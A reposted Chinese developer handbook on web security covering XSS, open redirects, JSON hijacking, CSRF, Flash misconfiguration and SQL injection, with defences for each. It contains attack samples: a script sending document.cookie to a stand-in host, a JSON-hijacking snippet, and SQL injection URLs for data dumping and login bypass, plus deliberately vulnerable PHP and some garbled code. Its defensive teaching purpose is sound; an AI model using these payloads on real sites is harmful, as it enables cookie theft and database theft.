web安全开发参考手册(常见攻击方式及防御手段)

1.客户端安全1.1. 跨站脚本漏洞1.1.1. 跨站脚本攻击说明是由于程序员在编写程序时对用户输入的可控数据没有做充分的过滤或转义,直接把用 展现在页面中。当用户提交构造的脚本或 html 标签时,...

文章出自:http://maniac.vip/posts/600.html?lost_maniac,一个年仅26岁就职于国内某知名IT公司的白帽子。这是他一周的心血。感谢他授权本站转载此篇文章。

1.客户端安全

1.1. 跨站脚本漏洞

1.1.1. 跨站脚本攻击说明

是由于程序员在编写程序时对用户输入的可控数据没有做充分的过滤或转义,直接把用 展现在页面中。当用户提交构造的脚本或 html 标签时,便会执行,这就是跨站脚本攻击。

1.1.1.1. 存储型跨站

用户可控数据内容长期存储于页面中,当用户输入脚本或 HTML 标签时,输入的数据 长期展示在页面中,也就形成了储型跨站脚本攻击。

1.1.1.2. 反射型跨站

在用户可控数据中,未长久保存于数据库中的数据,例如 URL 提交的参数,开发人员未 对参数做过滤或转码,导致前端直接展示相关数据,这样便形成了反射型跨站脚本漏洞。

1.1.1.3. Dom 型跨站

当使用文档对象模型来创建文档的时候,对用户可控数据没有做正确的编码输出,便会 出现 DOM 型跨站脚本漏洞

1.1.2. 跨站脚本示例

JAVA 代码示例

while(rs.next())
{
    %>
    <tr>
    <td><%=rs.getInt("id") %></td>
    <td><%=rs.getString("name")%></td>
    </tr>
    <%
}

PHP 代码示例

<tr>
<td><?=$row["id"] ?></td>
<td><?=$row["name"]?></td>
</tr>

以上代码如果出现在京东某个应用中,当用户对 id 及 name 提交

<script src=http://x.x/hacker.js></script>


hacker.js 文件内容:

<script>document.location="http://x.x/x.php?c="+document.cookie;</script>


当其他用户访问页面时,会执行远端 hacker.js 脚本,造成对其他用户的跨站脚本攻击。

1.1.3. 跨站脚本漏洞影响

恶意用户可以利用跨站脚本可以做到:

  1. 盗取用户 cookie,伪造用户身份登录。

  2. 控制用户浏览器。

  3. 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。

  4. 修改页面内容,产生钓鱼攻击效果。

  5. 蠕虫攻击。 在三种跨站脚本漏洞中影响相对最大的是存储型跨站脚本漏洞。

1.1.4. HTML 跨站脚本漏洞

当用户可控数据未经转义或过滤输出到 HTML 中时,用户提交恶意数据后形成 HTML 跨站 脚本攻击
HTMl 跨站分为反射型和存储型两种,反射型跨站需要被动诱骗点击,而存储型只需要 打开页面即可触发危害较大 常见的出现此类问题的主要有留言板,论坛发帖回帖,博客系统,评论系统

1.1.4.1. 解决方案

在 HTML 中展示用户可控数据,应该进行 html escape 转义
JSP代码

<div>#escapeHTML($user.name) </div> <td>#escapeHTML($user.name)</td>


PHP代码

<div>htmlentities($row["user.name"])</div>


转义符号:

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#39;


1.1.4.2. escapeHTML 函数参考 JAVA 代码类

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/HTMLEntityCodec.java

1.1.5. JavaScript 跨站脚本漏洞

当用户可控数据未经转义或过滤输出到 HTML 中时,用户提交恶意数据后形成 HTML 跨站脚本攻击
JavaScript 跨站与 HTMl 跨站很多人会搞混,两者的区别在于 HTML 跨站插入恶意脚 本必须带有 HTML 标签或者带有 HTML 伪协议标签,过滤起来要比 JavaScript 跨站简单, JavaScript 跨站只需要插入鼠标事件即可触发此类漏洞。
JavaScript 跨站也分为存储型和反射型,造成的影响也不同,反射型跨站需要被动诱骗 点击,而存储型只需要打开页面即可触发危害较大

1.1.5.1. 解决方案

在 JAVASCRIPT 中展示用户可控数据,需要对用户可控数据做 javascript escape 转义。

1.1.5.2. escapeJavaScript 转义函数参考代码

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/JavaScriptCodec.java

1.1.6. JSON 跨站脚本漏洞

Json 回传数据自定义函数名时,函数名可以通过 UTF-7 编码或其他编码造成跨站脚本 攻击

Json 跨站与普通跨站区域别于格式,json 格式的匹配利用普通跨站代码很难实现,如果 http 传输设定为 json 必须通过 UTF-7 传输才能触发跨站漏洞,所以此类漏洞利用较难。

1.1.6.1. 解决方案

  1. Java 代码 response.setContentType(“appliaction/json”); 按照以上设置,http 返回头为 appliaction/json

  2. 对 callback=函数名做正则过滤

String.replaceAll(“[^\w\_"," ");
对函数名做严格过滤,只允许数字、大小写字母、下划线 以上方法可以彻底防御 json callback 跨站脚本攻击注:特殊情况下的 json 可在正则中放 宽相关字符,但是对于以下字符是严格禁止使用
'":;=|\/&%#{}[]?#$@!()+-.

1.1.6.2. 参考代码

//http 传输设置为 json 类型,相关代码如下
response.setContentType("appliaction/json"); 
//对 Callback 参数,特殊字符采用过滤的方 法
public class CallbackXssUtil
{
public static String filter(String CallbackStr)
{
if(CallbackStr ==null || "".equals(CallbackStr))
{	return "";
}
CallbackStr = inputStr.replaceAll("[^\\w\\_\\.]"," ");	return CallbackStr;
}
}

1.1.7. URL 跨站脚本漏洞

当系统把用户可控数据放入 URL 中,并且把 URL 直接输出到前端 HTML 页面或页面
Javascript 时,用户可控数据便可以构造攻击脚本,这种攻击我们叫做 URL 跨站脚本攻击。
URL 跨站和 HTML、JavaScript 跨站有很多相似的地方,因为最终用户可控 URL 还是会
输出到 HTML 和 JavaScript 中,但是 URL 跨站和 HTML、JavaScript 跨站的解决方法是 不同的。
常见 URL 跨站如下:

http://www.example.com/?return=http://m.jd.com
http://id.example.com/?return=http://my.jd.com


1.1.7.1. 解决方案

URL 跨站脚本攻击不能过滤用户输入数据,因为过滤用户输入数据可能导致 URL 无法访 问,必须转义用户可控 URL,主要遵循以下转义方式

< =%3C
> = %3E
/ = %2F
? = %3F
@ =%40
' = %27
" = %22
\ = %5C


1.1.7.2. 参考实践代码

在 php 中以下实现方法

<?php 
function z_urlencode($urlstr)
{
    $httpStr = "http://";	
    $url= urlencode($urlstr);	
    return $httpStr.$url;
}
z_urlencode("www.360buy.com/index.action?start=1&stop=2");
?>

输出为 http://www.360buy.com%2Findex.action%3Fstart%3D1%26stop%3D2


Jsp 中可用以下方法实现

1
2
URLEncoder.encode("www.360buy.com/index.action?start=1&stop=2");
<% java.net.URLEncoder.encode("www.360buy.com/index.action?start=1&stop=2","UTF-8";%>


1.1.8. CSS 样式跨站脚本漏洞

在用户与服务器交互访问的情况下,当页面样式 CSS 中展示用户可控数据时,攻击者会在 所提交的 CSS 中插入脚本,导致浏览此页面的用户浏览器会执行插入的 JavaScript 脚本。 CSS 跨站出现场景一般多在博客系统、文章发布系统、公告系统、留言系统中出现,CSS 多现于存储型跨站,危害较大。

1.1.8.1. 解决方案

同样是要对用户数可控输入中 style 内容做 CSS escape 转义调用方法

1.1.8.2. 参考代码

http://code.google.com/p/owasp-esapi-java/source/browse/trunk/src/main/java/org/owasp/esapi/codecs/CSSCodec.java

1.1.9. 副文本跨站脚本漏洞

web 应用程序在一些场合需要允许一些 Html 标签,和一些标签里的一些属性,如一些日志 发表的地方,书写文章的地方,由于开发者对安全认识的局限或者在自己进行的安全过滤时 考虑不周,都容易带来跨站脚本攻击,在一些 web2.0 站点甚至引发 Xss Worm。常规的一 些检测措施包括黑名单,白名单等等,但是都因为过滤得并不全面,很容易被绕过。其实有 另外一种过滤相对严格的方法,就是基于 Html 语 法分析的 filter,在满足应用的同时可以 最大限度保证程序的安全,一些过滤比较严谨的如 Yahoo Mail,Gmail 等等就是基于该原 理进行的过滤。

1.1.9.1. 解决方案

  1. 白名单模式过滤相关恶意跨站脚本

  2. 黑名单模式过滤相关恶意跨站脚本

1.2. URL 跳转漏洞

1.2.1. URL 跳转漏洞说明

由于应用越来越多的需要和其他的第三方应用交互,以及在自身应用内部根据不同的 逻辑将用户引向到不同的页面,所以 URL 跳转便出现在我们的应用中,当对所跳转的连接 没有做验证的情况下可能跳到任何一个网站,导致了安全问题的产生,这种问题就是 URL 跳转漏洞

1.2.2. 解决方案

  1. 对跳转地址进行检测,当跳转地址非本域地址,强制跳转到主站

  2. 在控制页面转向的地方校验传入的 URL 是否为可信域名 3、对传入跳转 URL 中字符‘@’进行过滤

1.2.3. 参考实践

暂缺

1.3. JSON 挟持漏洞

1.3.1. JSON 挟持漏洞说明

JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,JSON 传输的数 据在两个不同的域,譬如对于大的互联网公司,代表了 A 应用的 A 域名想获取代表 B 应用 的 B 域名的数据时,由于在 javascript 里无法跨域获取数据,所以一般采取 script 标签的 方式获取数据,传入一些 callback 来获取最终的数据。这样导致非法网站也会调用相关接 口来实现数据的读取,导致了 json 传输数据的挟持

1.3.2. JSON 挟持实例

我们设定如下连接

http://my.jd.com/global/track.action?jsoncallback=func

这里就是我们前面提到的一个使用 json 传递数据,支持自定义 callback、跨域使用 script 方式获取数据的典型例子,我们来写一段简单的攻击代码:

这里 json 传递的数据是客户近期浏览商品的记录,攻击代码:

<script> function func(o){ alert(o.history[0].wid + '|' + o.history[0].wname);}</script>
<script src=http://my.jd.com/global/track.action?jsoncallback=func></script>

此攻击代码可以手机用户在京东的商品浏览历史。

1.3.3. JSON 挟持解决

  1. 验证 referer 来源,当非白名单域名,返回空信息

  2. 改变 JSON 传输格式,彻底杜绝此类漏洞(这种解决方案改动较大,对业务影响较大, 但是非常彻底);

1.3.4. 最佳实践参考代码

protected boolean invalidRefer() {
    String referer = request.getHeader("Referer");
    if (StringUtils.isEmpty(referer)) {
        return true;
    }
    try {
        if (referer.contains("?")) {
            referer = referer.substring(0, referer.indexOf("?"));
        }
        URI referUri = new URI(referer);
        String homeDomain = getText("login.success.page"); //白名单 String curDomain
        = referUri.getHost();
        if (curDomain.contains(homeDomain.substring(homeDomain.indexOf(".") + 1))) {
            return false;
        } else {
            return true;
        }
    } catch(Exception e) {
        log.error("--invalid uri--" + referer, e);
        return true;
    }
}

更多信息请参考

1.4. XSIO 攻击

1.4.1. XSIO 漏洞说明

XSIO 产生的原因是因为没有限制图片的 position 属性为 absolute 绝对定位图片的位 置,这就导致了可以把张图插入到整个页面的任意位置,包括网站的 banner,包括一个 link、一个 button,覆盖页面的连接,甚至覆盖整体页面,很显然这样的漏洞对安全造成了 极大的风险,例如网络钓鱼,非法广告,点击挟持等被诸多攻击方法。

1.4.2. XSIO 漏洞实例

当百度博客用户编辑文章时,加入如下代码,即可造成覆盖任意地方

</table>
<a   href="http://www.ph4nt0m.org">
<img src="http://img.baidu.com/hi/img/portraitn.jpg" style="position:absolute;left:123px;top:123px;">
</a>


1.4.3. XSIO 漏洞解决

  1. 如果对效果要求不高,建议过滤图片标签中 position 属性 absolute

  2. 如果对效果要求较高,不允许 position 属性设置为 absolute 参考最佳实践代码

    1.5. Cross-site request forgery(跨站请求伪造)

    1.5.1. CSRF 介绍

    CSRF 的全称是 Cross-site request forgery,即跨站请求伪造,我们可以简单的理解这 种漏洞为,攻击者利用被攻击者的身份发起了某些被攻击者原本不知情的网络请求。包括以 被攻击者的身 份发布一条微博,以被攻击者的身份发布一条留言,以被攻击者的身份关注某 个用户的微博等。著名的微博蠕虫就是利用这种漏洞,造成了较大的影响

    1.5.2. CSRF 实例

····
此处有图片!!!!粘贴到CF再加入
·····
···

首先构造如下 HTML 页面:

<html>
<body>
<img src= http://id.example.com/uc/login?ltype=logout>
</body>
<html>


页面连接设为:

http://www.hacker.com/xxx.html


并把页面连接加入到商品评论,诱使访问者点击

当用户访问京东网站,发现连接点击后,自动退出网站账号。

1.5.3. 解决方案

方法一(长久有效,彻底防御)

在与用户交互时,设置一个 CSRF 的随机 TOKEN,种植在用户的 cookie 中。
当用户 提交表单时,生成隐藏域
值为 COOKIE 中随机 TOKEN,用户提交表单后验证两处 token值,来判断是否为用户提交

方法二(临时防御,可以绕过)

验证用户提交数据的 refere 信息,当为提交页时,说明为用户提交,当为其他页面 时,说明为 csrf 攻击。

验证 refere 代码参考

此方法只应用于单一交互表单,只验证表单数据可用以下方法

String referer = request.getHeader("referer");
if (StringUtils.isEmpty(referer)) {
    return false;
}
if (validAddress(referer)) {
    popInfoService.savePopInf(popInfVo);
}
private boolean validAddress(String referer) {
    String refAddress = "http://xxxx.vipkid.com";
    String str = referer.substring(0, refAddress.length());
    if (refAddress.equals(str)) {
        return true;
    }
    return false;
}此方法适合放置全站,以防止csrf攻击,但会对性能有所影响,不建议使用protected boolean invalidRefer() {
    String referer = request.getHeader("Referer");
    if (StringUtils.isEmpty(referer)) {
        return true;}
        try {
            if (referer.contains("?")) {
                referer = referer.substring(0, referer.indexOf("?"));
            }
            URI referUri = new URI(referer);
            String domain = referUri.getHost();
            if (StringUtils.isNotBlank(domain) & amp; & amp; (domain.endsWith("vipkid.com.cn")) {
                return true;
            }
            return false;
        } catch(Exception e) {
            log.error("--invalid uri--" + referer, e);
            return true;
        }
    }


1.6. FLASH 安全

利用 flash 服务端和客户端在安全配置和文件编码上的问题,导致攻击者可以利用客户 端的 flash 文件发起各种请求或者攻击客户端的页面。
FLASH 的安全问题主要有服务端的安全设计问题和客户端的 flash 安全两块

1.6.1. FLASH 客户端安全

1.6.1.1. 本地配置文件错误

客户端在嵌入 flash 文件的时候没有指定 flash 文件的客户端限制策略,导致嵌入在客 户端的 flash 文件可以访问 HTML 页面的 DOM 数或者发起跨域请求。
错误的配置文件

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0`name="Main" width="1000" height="600" align="middle" id="Main">
<embed flashvars="site=&sitename=" src=”http://a.com/xxx.swf” name="Main" allowscriptaccess="always"	type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>


例子中的 allowscriptaccess 选项为 always,这样的配置会使 flash 对于 html 的通讯也就是执行 javascript不做任何限制,默认情况下值为“SameDomain”,既只允许来自于本 域的 flash 与 html 通讯,建议设置为 never;例子中没有设置 allowNetworking 选项,需 要把 allowNetworking 设置为 none,因为 allowNetworking 在设置为 all(默认是)或 者是 internal 的情况下会存在发生 csrf 的风险,因为 flash 发起网络请求继承的是浏览器的 会话,而且会带上 session cookie 和本地 cookie。

1.6.1.2. 客户端安全配置规范

  1. 禁止设置 flash 的 allowscriptaccess 为 always,必须设置为 never,如果设 置为 SameDomain,需要客户可以上传的 flash 文件要在单独的一个域下。

  2. 设置 allowNetworking 选项为 none。

  3. 设置 allowfullscreen 选项为 false。

1.6.2. FLASH 服务端安全

1.6.2.1. 服务端配置错误-跨域访问

FLASH 配置文件 crossdomain.xml 介绍 flash 在跨域时唯一的限制策略就是 crossdomain.xml 文件,该文件限制了 flash 是否可以跨域读写数据以及允许从什么地方 跨域读写数据。错误配置如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>


这样的配置可以导致允许任何来自网络上的请求、不论该请求是来自本域内还是其它
域发起的。正确的配置

<cross-domain-policy>
    <allow-access-from domain="*.meipai.com"/>
</cross-domain-policy>


1.6.2.2. FLASH 开发规范

  1. 移除敏感信息确认没有包含像用户名、密码、SQL 查询或者其他认证信息在 swf 文件里 面,因为 swf 文件能够被简单的反编译而使信息泄露

  2. 客户端的验证客户端的验证能够通过反编译软件轻易的去除后重新编译,必须在客户端 和服务端都做一次验证,但是服务端的验证不能少

  3. 去除调试信息去除类似于”trace”和其他一些调试语句,因为他们能够暴露代码或数据的 功能,如下代码片段暴露了该段代码的验证功能:

    If(checklogin)
        {
            Userlogin = ture;
        }
    trace(“管理员验证成功”);
  1. 参数传入如果有加载外部数据的需求,尽量不要在 html 中用“params”标签或者是 querystring 这种形式来注入数据到 swf 文件中。可以的办法是通过 sever 端的一个 http 请求来得到参数。

  2. allowDomain()
    flash 文件如果有和其他 swf 文件通信的需求,需要在 swf 中配置 allowDomain()为 制定的来源,禁止用*符号来允许任意来源如下 AS 代码被严格禁止:

    System.security.allowDomain("*");
    loadMovie(param1,param2);
  3. ActionScript2.0 未初始化全局变量
    AS2.0 中接受用户通过 FlashVars 和 Querystring 中传入的数据并放到全局变量空间 中,如果利用不当会引发变量未初始化漏洞从而绕过部分认证,如下 AS 代码片段所示:
    如果用户在 GET 请求或者在 HTML 中作为一个对象参数将 userLoggedIn 设为 true, 如下所示:

    1
    http://www.xxxx.com/cn_ben/login.swf?Userlogin=ture

解决方案:AS2.0 使用_resolve 属性捕获未定义的变量或函数,如下所示:

// instantiate a new object 
var myObject: Object = new Object();

// define the    resolve 
function myObject.resolve = function(name) {
    return "未定义的变量";


  1. 加载调用外部文件当 FLASH 加载调用外部文件的时候需要过
    滤掉里面的恶意内容,
    主要有 metadata 里面的数据和 flash mp3 player 里的 Mp3 ID3 Data,可以引发 XSS 漏洞(使攻击者可以执行任意 javascript),如下代码片段所示:

this.createTextField("txtMetadata", this.getNextHighestDepth(), 10, 10, 500, 500);
txtMetadata.html = true;
var nc: NetConnection = new NetConnection();
nc.connect(null);
var ns: NetStream = new NetStream(nc);
ns.onMetaData = function(infoObject: Object) {
    for (var propName: String in infoObject) {
        txtMetadata.htmlText += propName + " = " + infoObject[propName];
    }
};
ns.play("http://localhost/test.flv");

如果 test.flv 中包含了 js 代码将被执行;

onID3 = function() { my_text.htmlText= this.id3.author;};


8、禁止直接调用 ExternalInterface.call 来接受外部参数 ExternalInterface.call 可以直接调用客户端的 js 脚本,如下 as 代码片段所示:

Import flash.external.*;


……省略代码……
ExternalInterface.call(用户输入变量,用户数据参数);
……省略代码……


如果用户提交变量 eval,提交参数为任意 js 语句,那么用户提交的代码就会被执行。

2. 服务端安全

2.1. SQL 注入

2.1.1. SQL 注入说明

应用为了和数据库进行沟通完成必要的管理和存储工作,必须和数据库保留一种接口。 目前的数据库一般都是提供 api 以支持管理,应用使用底层开发语言如 Php,Java,asp, Python 与这些 api 进行通讯。对于数据库的操作,目前普遍使用一种 SQL 语言(Structured Query Language 语言,SQL 语言的功能包括查询、操纵、定义和控制,是 一个综合的、通用的关系数据库语言,同时又是一种高度非过程化的语言,只要求用户指出 做什么而不需要指出怎么做),SQL 作为字符串通过 API 传入给数据库,数据库将查询的结果返回,数据库自身是无法分辨传入的 SQL 是合法的还是不合法的,它完全信任传入的数据,如果传入的 SQL 语句被恶意用户控制或者篡改,将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果,导致安全问题。

2.1.2. SQL 注入影响 恶意用户利用 SQL 注入可以做到:

  1. 可读取数据库中的库和表

  2. 可执行系统命令

  3. 可以修改任意文件

  4. 可以安装木马后门

2.1.3. SQL 注入示例

代码示例

以下PHP脚本的作用为检索数据库内的图书库存,该脚本存在SQL注入漏洞。

<?php
  header('Content-Type:text/html;charset=UTF-8');
  $author = $_GET('author');
  $con = pg_connect("host=localhost dbname=book user=test password=test");
  $sqlstm = "SELECT id,title,author,publisher,date,price FROM books WHERE author = '$author' ORDER BY id";
  $rs = pg_query($con,$sqlstm);
 ?>


攻击实例

利用代码示例的代理,进行正常的检索

http://example.com/book/seach.php?author=xx


接下来让我们看一下针对此脚本的攻击方法。

  1. 错误消息导致的信息泄露

    http://example.com/book/seach.php?author='+and+cast((select +id||':'||pwd+from+users+offset+0+limit+1)+as+integer)>1--

执行,页面报错:

Waring:pg_query()[function_pg_query]Query failed ERROR:invalid input syntax for integer:admin:123456。


错误消息中显示了用户名和密码为admin:123456。这就是利用SQL注入攻击致使信息泄露的手段。该子查询查找user表中的第一条数据的id和pwd字段后,返回将两者以冒号相连。然后尝试将字符串转换为integer类型,但由于转换类型出错,页面显示了错误信息。因此,我们也要注意,不要将程序的内部错误显示在错误信息中。

  1. UNION SELECT导致的信息泄露

UNION SELECT 的作用为将两个SQL语句的检索结果求和。

执行以下URL

http://example.com/book/seach.php?author='+union+select+id,pwd,name,addr,null,null,null+from users--



书籍id书名作者名出版社

admin123456jack北京市XXXXXX。

test123456john北京市XXXXXX。

example123456example北京市

我们可以看到该语句查询出了user表的所有数据,再利用其他语句配合可将整个数据库打包下载,又被称为拖库攻击。

  1. 使用SQL注入绕过认证

    当登陆页面存在SQL注入漏洞时,认证处理将被绕过,从而导致在不知道密码的情况下能成功登陆应用。

    以下是一个用户登陆页面

       <html>
         <head>登陆</head>
         <body>
         <form action="login.php" method="POST">
          用户名<input type="text" name="id">
    
          密码<input type="text" name="pwd">
    
          <input type="submit" value="登陆">
         </form>
         </body>
       </html>
    ```   
     
       下面是接收用户名和密码后进行登陆处理的脚本。
       
    ```php
       <?php
         session_start();
         header('Content-Type:text/html;charset=UTF-8');
         $id = @$_POST['id'];
         $pwd = @$_POST['pwd'];
         $con = pg_connect("host=localhost dbname=book user=test password=test");
         $sql="SELECT * FROM users WHERE id = '$id' and pwd='$pwd'";
         $rs = pg_query($con,$sql);
       ?>

    正常情况下,登陆页面输入用户名admin和密码123456才能登陆成功。

    但是假设攻击者在不知道密码的情况下输入’ or ‘a’=’a,这时登陆成功。

    此时,拼接后的SQL语句如下。

    1
    SELECT * FROM users WHERE id='admin' and pwd = ' ' OR 'a'='a'

    SQL语句的末尾被添加了OR ‘a’=’a’,因此where语句始终保持成立状态。如果登陆页面存在SQL注入漏洞,就可能使密码输入框形同虚设。

  2. 其他攻击

    根据数据库引擎的不同,通过SQL注入还可能会达到以下效果。

    3.1. 执行OS命令

    3.2. 执行文件

    3.3、编辑文件

    3.4、通过HTTP请求攻击其他服务器

2.1.4. SQL 注入解决方法

解决 SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配
置使用最小权限原则。

  1. 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将 用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。

  2. 对进入数据库的特殊字符(’”\尖括号&*;等)进行转义处理,或编码转换。

  3. 严格限制变量类型,比如整型变量就采用 intval()函数过滤,数据库中的存储字段必须对 应为 int 型。

  4. 数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。

  5. 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致 一些过滤模型被绕过。

  6. 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从 而最大限度的减少注入攻击对数据库的危害。

  7. 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误 信息进行一些判断。

  8. 在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测,            


条评论

请先 登录 后评论
不写代码的码农
三叔

422 篇文章

作家榜 »

  1. 小编 文章
返回顶部
部分文章转自于网络,若有侵权请联系我们删除